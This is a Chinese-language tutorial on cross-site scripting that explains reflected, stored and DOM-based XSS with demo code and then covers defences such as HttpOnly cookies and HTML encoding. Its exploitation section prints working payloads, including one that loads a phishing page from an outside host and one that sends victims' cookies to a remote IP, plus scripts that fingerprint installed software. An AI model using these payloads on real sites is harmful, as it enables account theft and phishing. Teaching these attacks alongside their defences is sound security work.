1. 程式人生 > >web攻防之跨站指令碼攻擊漏洞

web攻防之跨站指令碼攻擊漏洞

摘要:XSS跨站指令碼攻擊一直都被認為是客戶端Web安全中最主流的攻擊方式。因為Web環境的複雜性以及XSS跨站指令碼攻擊的多變性,使得該型別攻擊很難徹底解決。那麼,XSS跨站指令碼攻擊具體攻擊行為是什麼,又該如何進行有效的防範呢?本文對此進行了有針對性的具體例項分析。

XSS跨站指令碼攻擊一直都被認為是客戶端Web安全中最主流的攻擊方式。因為Web環境的複雜性以及XSS跨站指令碼攻擊的多變性,使得該型別攻擊很難徹底解決。那麼,XSS跨站指令碼攻擊具體攻擊行為是什麼,又該如何進行有效的防範呢?本文對此進行了有針對性的具體例項分析。

跨站指令碼攻擊(Cross Site Scripting)是指攻擊者利用網站程式對使用者輸入過濾不足,輸入可以顯示在頁面上對其他使用者造成影響的HTML程式碼,從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。為了與層疊樣式表(Cascading Style Sheets)的縮寫CSS區分開,跨站指令碼攻擊通常簡寫為XSS。

下面這個頁面的主要作用是獲取使用者輸入的引數作為使用者名稱,並在頁面中顯示“歡迎您,XXX”的形式,具體程式碼如下:

<?php

$username = $_GET["name"];

echo "<p>歡迎您, ".$username."!</p>";

?>

正常情況下,使用者會在URL中提交引數name的值為自己的姓名,然後該資料內容會通過以上程式碼在頁面中展示,如使用者提交姓名為“張三”,完整的URL地址如下:

http://localhost/test.php?name=張三

在瀏覽器中訪問時,會顯示如下圖1所示內容: 


圖1

此時,因為使用者輸入的資料資訊為正常資料資訊,經過指令碼處理以後頁面反饋的原始碼內容為<p>歡迎您, 張三!</p>。但是如果使用者提交的資料中包含有可能被瀏覽器執行的程式碼的話,會是一種什麼情況呢?我們繼續提交name的值為<script>alert(/我的名字是張三/)</script>,即完整的URL地址為
http://localhost/test.php?name=<script>alert(/我的名字是張三/)</script>

在瀏覽器中訪問時,我們發現會有彈窗提示,如下圖2所示: 


圖2

那麼此時頁面的原始碼又是什麼情況呢?

原始碼變成了“<p>歡迎您, <script>alert(/我的名字是張三/)</script>!</p>”,從原始碼中我們發現,使用者輸入的資料中,<script>與</script>標籤中的程式碼被瀏覽器執行了,而這並不是網頁尾本程式想要的結果。這個例子正是最簡單的一種XSS跨站指令碼攻擊的形式,稱之為反射型XSS。

XSS跨站指令碼攻擊的分類

根據XSS跨站指令碼攻擊存在的形式及產生的效果,可以將其分為以下三類。

一、 反射型XSS跨站指令碼攻擊

反射型XSS指令碼攻擊即如我們上面所提到的XSS跨站指令碼攻擊方式,該型別只是簡單地將使用者輸入的資料直接或未經過完善的安全過濾就在瀏覽器中進行輸出,導致輸出的資料中存在可被瀏覽器執行的程式碼資料。由於此種類型的跨站程式碼存在於URL中,所以黑客通常需要通過誘騙或加密變形等方式,將存在惡意程式碼的連結發給使用者,只有使用者點選以後才能使得攻擊成功實施。

二、 儲存型XSS跨站指令碼攻擊

儲存型XSS指令碼攻擊是指Web應用程式會將使用者輸入的資料資訊儲存在服務端的資料庫或其他檔案形式中,網頁進行資料查詢展示時,會從資料庫中獲取資料內容,並將資料內容在網頁中進行輸出展示,因此儲存型XSS具有較強的穩定性。

儲存型XSS指令碼攻擊最為常見的場景就是在部落格或新聞釋出系統中,黑客將包含有惡意程式碼的資料資訊直接寫入文章或文章評論中,所有瀏覽文章或評論的使用者,都會在他們客戶端瀏覽器環境中執行插入的惡意程式碼。如流行的Bo-Blog程式的早期版本中存在對使用者提交評論資料過濾不嚴導致的XSS跨站指令碼攻擊漏洞,黑客可以在文章評論中提交插入惡意資料的UBB程式碼,提交後,Bo-Blog程式會將資料儲存至資料庫中,當用戶瀏覽該日誌時,就會執行插入的惡意程式碼,如圖3所示。 


圖3

三、 基於DOM的XSS跨站指令碼攻擊

基於DOM的XSS跨站指令碼攻擊是通過修改頁面DOM節點資料資訊而形成的XSS跨站指令碼攻擊。不同於反射型XSS和儲存型XSS,基於DOM的XSS跨站指令碼攻擊往往需要針對具體的javascript DOM程式碼進行分析,並根據實際情況進行XSS跨站指令碼攻擊的利用。讓我們來針對如下程式碼進行詳細分析:

<html>

<head>

<title>DOM Based XSS Demo</title>

<script>

function xsstest()

{

 var str = document.getElementById("input").value;

 document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";

}

</script>

</head>

<body>

<div id="output"></div>

<input type="text" id="input" size=50 value="" />

<input type="button" value="提交" onclick="xsstest()" />

</body>

</html>

以上程式碼的作用是提交一個圖片的URL地址以後,程式會將圖片在頁面中進行展示,如我們提交百度LOGO圖片的地址http://www.baidu.com/img/baidu_sylogo1.gif,那麼在頁面中展示結果如下圖4所示。 


圖4

當用戶輸入完百度LOGO的地址,點選“提交”按鈕後,“提交”按鈕的onclick事件會呼叫xsstest()函式。而xsstest()函式會獲取使用者提交的地址,通過innerHTML將頁面的DOM節點進行修改,把使用者提交的資料以HTML程式碼的形式寫入頁面中並進行展示。以上例子中輸出的HTML程式碼為“<img src=” http://www.baidu.com/img/baidu_sylogo1.gif”></img>”。

以上情況為正常的使用者輸入情況,那黑客又是怎麼利用該種類型程式碼實現XSS跨站指令碼攻擊的呢?黑客可以通過構造如下資料,輸入“#’ onerror=’javascript:alert(/DOM Based XSS Test/)”,在瀏覽器中提交後,發現程式碼果然被執行,出現了彈窗提示,如下圖5所示。 

圖5

XSS跨站指令碼攻擊例項

以上是針對XSS跨站指令碼攻擊三種類型的簡單介紹。看了上面的描述朋友們或許會想,難道僅僅彈出一個提示框就是XSS跨站指令碼攻擊了嗎?答案當然是否定的,XSS跨站指令碼攻擊的利用可以實現多種效果,甚至可以說XSS跨站指令碼攻擊漏洞的利用是一種黑客攻擊的藝術,下面我們結合具體例項進行詳細的分析和描述,瞭解一下XSS跨站指令碼攻擊都能做些什麼事情。

 XSS跨站指令碼攻擊利用釣魚

目前,網路釣魚攻擊的方式比較多,包括申請註冊相似域名,構建相似度高的網站環境和釋出虛假中獎資訊等,但是以上釣魚攻擊方式針對有一定安全意識的網民來說,很難實現成功的釣魚攻擊。然而通過XSS跨站指令碼攻擊漏洞進行的釣魚攻擊,即使有一定安全意識的網民,也無法抵禦。這裡我們以盛大遊戲論壇的XSS跨站指令碼攻擊漏洞利用的釣魚攻擊演示(目前,該漏洞已經修復)。首先,我們需要了解的是,盛大的遊戲登入都是使用盛大通行證進行登入的,而盛大的遊戲論壇也是使用盛大通行證進行登入,所以,如果黑客通過盜取遊戲玩家登入論壇時的資訊,就相當於盜取了玩家遊戲賬號和密碼。盛大的遊戲論壇就存在XSS跨站指令碼攻擊漏洞,使得黑客可以通過該漏洞獲取使用者的賬號和密碼。存在過濾不嚴的位置為使用者資料中的個人主頁部分,通過在個人主頁欄中輸入如下程式碼:

[url]http://'' STYLE='a:expression(document.write("<s\143ript language=javas\143ript src=http://www.123.com/1.jpg Charset=GB23></s\143ript>"))' target=_blank[/url]

然後利用該賬號在論壇中發帖子或回覆,這樣當其他玩家訪問我們釋出或回覆的帖子時,就會執行我們插入的惡意程式碼。http://www.123.com/1.jpg就是我們構造的惡意程式碼,這個程式碼是我們用來釣魚的頁面,如下圖6所示: 

 圖6

顯示的內容和盛大官方遊戲論壇登入的頁面一樣,如果不通過檢視網頁原始碼的方式是無法從頁面顯示中看出任何問題的,當玩家輸入通行證賬號和密碼資訊並點選登入時,賬號提交的地址不是盛大的伺服器,而是黑客的伺服器。從原始碼中,可以看到賬號和密碼傳送到的黑客伺服器賬號接收程式的地址,如下圖7所示: 


圖7

XSS跨站指令碼攻擊盜取使用者Cookie資訊

通過XSS跨站指令碼攻擊盜取使用者Cookie資訊一直是XSS跨站指令碼攻擊漏洞利用的最主流方式之一。當用戶正常登入Web應用程式時,使用者會從服務端得到一個包含有會話令牌的cookie:
Set-Cookie: SessionID=6010D6F2F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
黑客則可以通過XSS跨站指令碼攻擊的方式將嵌入惡意程式碼的頁面傳送給使用者,當用戶點選瀏覽時,黑客即可獲取使用者的Cookie資訊並用該資訊欺騙伺服器端,無需賬號密碼即可直接成功登入。這裡我們以網易郵箱的XSS跨站指令碼攻擊漏洞為例進行分析和描述。網易郵箱老版本中,曾經存在一個XSS跨站指令碼攻擊漏洞,黑客可以構造如下程式碼:

<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:xx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(document.URL)+'&cookie='+escape(document.cookie);" width=0 height=0>]]>

 </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


 
圖8

並將包含有如圖8所示惡意程式碼的郵件傳送至網易郵箱使用者時,使用者打開了含有惡意程式碼的郵件後,程式碼就會自動將使用者的cookie資訊傳送到61.130.75.239上的163.asp檔案,其中163.asp的作用是記錄傳送過來的Cookie,記錄的Cookie內容如下圖9所示: 


圖9

在接收到Cookie以後,就可以通過Cookie欺騙的方式實現登入目標郵箱了,如圖10所示。 


圖10

 XSS跨站指令碼攻擊蒐集客戶端環境資訊

蒐集客戶端環境資訊在更多的時候主要應用於指定目標的滲透攻擊或網路掛馬攻擊,如瞭解客戶端環境所使用的瀏覽器資訊、作業系統資訊、元件是否安裝以及安全防護軟體安裝情況等。通過XSS跨站指令碼攻擊可以更加方便、快速地實現客戶端環境資訊的收集。

那麼如何通過javascript收集以上資訊呢?我們構造如下指令碼程式碼,並在瀏覽器中執行這段程式碼。

<script>

alert(navigator.userAgent);

</script>

得到的結果如下圖11所示。 


圖11

這個資訊中告訴了我們以上關心的兩個資訊,一個是瀏覽器的型別和版本,另外一個是客戶端環境作業系統的版本。

瀏覽器:MSIE 8.0(微軟IE瀏覽器,瀏覽器版本是8.0)

作業系統:Windows NT 6.1(作業系統型別是windows 7)

通過以上方式可以獲取客戶端的瀏覽器和作業系統資訊,接下來我們在繼續判斷客戶端環境元件安裝情況。構造程式碼如下:

<script>

try{

 var object = new ActiveXObject("XunLeiBHO.ThunderIEHelper");

} catch(e){ alert("迅雷軟體未安裝");

}

</script>

客戶端環境中如果安裝迅雷下載軟體的話,那麼就會安裝相應的ActiveX控制元件XunLeiBHO.ThunderIEHelper,以上指令碼的作用即是通過網頁尾本去載入迅雷的ActiveX控制元件,如果控制元件存在則不會丟擲異常,否則就會丟擲異常並被指令碼捕獲,執行上面的指令碼程式碼時,安裝有迅雷的環境不會有任何提示,未安裝迅雷的環境就會彈窗提示“迅雷軟體未安裝”。

控制元件判斷可以通過網頁載入ActiveX控制元件的方式實現,那麼怎麼通過指令碼判斷客戶端環境中是否安裝了安全軟體呢?這裡我們以瑞星安全軟體為例,分析描述如何通過XSS跨站指令碼攻擊漏洞的利用檢測客戶端環境是否存在瑞星安全軟體。我們構造程式碼如下:

<script>

var havesoft=false;

var disk=['c','d'];

var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];

for(i=0;i<soft.length;i++)

{    for(j=0;j<disk.length;j++)   

 {     var img=new Image();

  res='res://'+disk[j]+soft[i];

  img.src=res;

  if(img.height!=30)

  {   

   havesoft=true;   

  }   

 }  

}

</script>

以上程式碼的作用是通過javascript結合res協議對客戶端環境中的資原始檔進行載入,javascript指令碼執行後,會對客戶端環境的C、D盤進行訪問,訪問是否存在瑞星預設安裝路徑的資原始檔,並嘗試對資原始檔進行載入,如果載入成功,則說明資原始檔存在,也說明瑞星安全軟體的存在,並將變數havesoft置為真,指令碼檢測結束後,只需要檢測該變數是否為真即可。

XSS Worm

相對於以上三種情況,可以說是XSS蠕蟲(XSS Worm)的破壞力和影響力都是巨大的。XSS蠕蟲主要發生在使用者之間存在互動行為的頁面中,當Web應用程式對使用者輸入的資料資訊沒有做嚴格的過濾時,通過結合Ajax的非同步提交,就可以實現在植入惡意程式碼的同時,將惡意程式碼進行對外發送,即實現了程式碼的感染和傳播,也就形成了XSS蠕蟲。

談到XSS蠕蟲就很有必要介紹一下新浪微博遭受XSS蠕蟲攻擊事件,同時我們也以此次攻擊事件作為例子,對黑客惡意利用漏洞至XSS蠕蟲大範圍擴散的過程進行詳細分析和描述,並對該XSS蠕蟲的惡意指令碼檔案進行一下簡要的分析。

XSS跨站指令碼攻擊的防範

通過以上針對不同種情況的XSS跨站指令碼攻擊的描述,我們瞭解到了在複雜的Web環境中,XSS的利用是千變萬化的,如何能夠有效地防範XSS跨站指令碼攻擊問題一直都是瀏覽器廠商和網站安全技術人員關注的熱門話題。現在很多瀏覽器廠商都在自己的程式中增加了防範XSS跨站指令碼攻擊的措施,如IE瀏覽器從IE8開始內建了XSS篩選器,Firefox也有相應的CSP、Noscript擴充套件等。而對於網站的安全技術人員來說,提出高效的技術解決方案,保護使用者免受XSS跨站指令碼攻擊才是關鍵。下面我們結合網站安全設計,描述一下如何通過技術手段實現XSS跨站指令碼攻擊的防範。

利用HttpOnly

HttpOnly最初是由微軟提出的,目前已經被多款流行瀏覽器廠商所採用。HttpOnly的作用不是過濾XSS跨站指令碼攻擊,而是瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie,解決XSS跨站指令碼攻擊後的Cookie會話劫持行為。

httpOnly是在Set-Cookie時進行標記的,設定的Cookie頭格式如下:

    Set-Cookie: <name>=<value>[; <name>=<value>]

    [; expires=<date>][; domain=<domain_name>]

    [; path=<some_path>][; secure][; HttpOnly]

以php為例,在php 5.2版本時就已經在Setcookie函式加入了對HttpOnly的支援,如

    <?php

    setcookie("user", "admin", NULL, NULL, NULL, NULL, TRUE); 

    ?>

通過以上程式碼就可以設定user這個cookie,將其設定為HttpOnly,setcookie函式實質是通過向客戶端傳送原始的HTTP報文頭進行設定的,document將不可見這個Cookie,所以使用document.cookie就取不到這個Cookie,也就是先了對Cookie的保護。

 完善的輸入和輸出檢查

由於三種XSS跨站指令碼攻擊型別的漏洞成因可不相同,針對輸入輸出的檢查一部分適用於反射型XSS與儲存型XSS,而另外一些檢查適用於基於DOM的XSS。

A. 防範反射型XSS和儲存型XSS

輸入檢查在大多數的時候都是對可信字元的檢查或輸入資料格式的檢查,如使用者輸入的註冊賬號資訊中只允許包括字母、數字、下劃線和漢字等,對於輸入的一切非白名單內的字元均認為是非法輸入。資料格式如輸入的IP地址、電話號碼、郵件地址、日期等資料都具有一定的格式規範,只有符合資料規範的輸入資訊才允許通過檢查。

輸出檢查主要是針對資料展示過程中,應該對資料資訊進行HTML編碼處理,將可能存在導致XSS跨站指令碼攻擊的惡意字元進行編碼,在不影響正常資料顯示的前提條件下,過濾惡意字元。常見的可能造成XSS跨站指令碼攻擊的字元及其HTML編碼如下:

“ &quot;

‘ &apos;

& &amp;

< &lt;

    >  &gt;

除了常用的編碼外,任何字元都可以使用其ASCII碼進行HTML編碼,如

    % &#37;

    * &#42;

B. 防範基於DOM的XSS

從基於DOM的XSS的定義及其觸發方式我們發現,當基於DOM的XSS跨站指令碼攻擊發生時,惡意資料的格式與傳統的XSS跨站指令碼攻擊資料格式有一定的差異,甚至可以在不經過伺服器端的處理和相應的情況下,直接對客戶端實施攻擊行為,因此上述我們應用於防範反射型XSS和儲存型XSS的方法並不適用於防範基於DOM的XSS跨站指令碼攻擊。

針對基於DOM的XSS防範的輸入檢查方法,我們發現在客戶端部署相應的安全檢測程式碼的過濾效果要比在伺服器端檢測的效果更加明顯。例如,我們可以通過如下客戶端檢測程式碼來保證使用者輸入的資料只包含字母、數字和空格,程式碼如下:

<script>

var str = document.URL;

str = str.substring(str.indexOf("username=")+9, str.length);

str = unescape(str);

var regex=/^([A-Za-z0-9+\s])*$/;

if (regex.test(str))

 document.write(str);

</script>

同樣,我們也可以通過在服務端實現類似上述資料檢查的功能,如在伺服器端檢測URL引數是否為預定的引數username,並對username引數的內容進行檢測,確認資料內容是否為只包含數字、字母和空格符,實現服務端的資料過濾。但是,由於客戶端資料的可控性,這種服務端檢測的效果要明顯弱於客戶端檢測。

基於DOM的XSS輸出檢查與反射型XSS漏洞輸出檢查的方法相似,在將使用者可控的DOM資料內容插入到文件之前,Web應用程式應對提交的資料進行HTML編碼處理,將使用者提交的資料中可能存在的各種危險字元和表示式進行過濾以安全的方式插入到文件中進行展現,如可以通過如下函式實現在客戶端javascript中執行HTML編碼處理。

function jsEncode(str)

{

 var d = document.createElement('div');

 d.appendChild(document.createTextNode(str));

 return d.innerHTML;

}

XSS跨站指令碼攻擊作為Web應用安全領域中最大威脅之一,不僅僅危害Web應用業務的正常運營,對訪問Web應用業務的客戶端環境和使用者也帶來了直接安全影響。雖然XSS跨站指令碼攻擊在複雜的Web應用環境中利用方式千變萬化,但是網路安全人員通過對Web應用的各種環境進行詳細分析和處理,完全阻斷XSS跨站指令碼攻擊是可以實現的。如何有效防範和阻止XSS跨站指令碼攻擊,保障Web應用系統的業務安全和正常運營,保護客戶端使用者免受XSS跨站指令碼攻擊行為的侵害,是Web應用系統管理人員和網路安全產品開發人員的共同職責。